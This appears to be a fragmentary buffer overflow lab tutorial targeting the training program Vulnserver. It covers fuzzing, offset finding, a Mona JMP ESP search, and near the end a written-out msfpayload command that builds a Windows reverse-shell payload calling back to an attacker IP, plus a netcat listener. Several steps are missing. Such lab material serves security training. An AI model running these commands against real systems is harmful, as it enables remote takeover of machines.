Buffer Overflow Exploit 101
Buffer Overflow Exploit 101
Okan YILDIZ
Secure Debug Limited
Senior Security Engineer / Senior Software Developer
| CASE .NET | CEH | CTIA | ECIH | CCISO |
Buffer Overflow
Project Objective:
On the screen that appears, we type the "HELP" command to learn which
commands we can use.
earlier and will discuss in the next steps to send 3 packets to the target
PC.
4. At this stage, I will discuss the steps for developing the exploit code that
we will use in the next step. For this, we type "nano exploit" on the
console screen and write our codes using the Python language on the
screen that appears.
After writing our code, we type "ctrl + x", confirm the screens that
appear, and return to our console screen. Then, we type "chmod
a+x exploit" on the console. If we do not enter this code, access
will be restricted when we run the exploit.
First, we sent 1000 characters, but the program did not crash.
When we increased the packet count to 2000, we see that the
packets were not delivered.
6. We see that the Vulnserver software crashed with the 2000 packets sent.
As seen in the image, it says "Running" on the bottom right. The program
has started running.
After sending the packets, let's look at the error given on the
Immunity Debugger screen.
10. This time, we send 3000 "A" characters from Kali to the
target machine and examine the error it gives.
After sending the packets, let's look at the error given on the
Immunity Debugger screen.
11. Now, we will develop a new code that will create a unique table
for us. The benefit of this table will be to find out where the error
occurred in the next exploit we develop.
12. Now, using this table, we will develop a new exploit and launch
an attack with it, and examine the error it gives.
17. We are trying to find the hex code for JMP and ESP by going back to
our Kali machine.
18. We are trying to find the JMP ESP hex code using
Mona. For this, we run the command "!mona find -s
"\xff\xe4" -m essfunc.dll" in immunity debugger.
20. After developing the exploit code, we will now launch another
attack using a test code to check the buffer overflow in the cache.
21. Now it's time to develop our exploit code. To do this, we open
our console screen and type "nano okanyildiz". This will bring up
a text editor where we can write our exploit code.
22. We will replace the empty brackets in our exploit code with a
simple "reverse shell" exploit code from Metasploit. For this, we
enter the command "msfpayload windows/shell_reverse_tcp
LHOST="192.168.124.131" LPORT=443 EXITFUNC=thread R |
msfencode -b '\x00' -e x86/shikata_ga_nai" in the command
prompt. Here, we enter the IP address of our attacking machine
(Kali) in the LHOST section, specify the port number to connect
back to us in the LPORT section, and use "-b '\x00'" in the
"msfencode" part to allow the use of the identified bad
characters.
23. You copy the obtained exploit code into the parentheses of
exploit() and then press ctrl + x to save and exit. After that, you
type chmod a+x okanyildiz to give it executable permissions.
24. Type "nc -nlvp 443" on the command line to start listening on
port 443 using Netcat. If our attack code is successful and
vulnserver does not crash, we will obtain a Windows command
prompt on the target system via Netcat.
26. After running the exploit code, we check the Netcat software.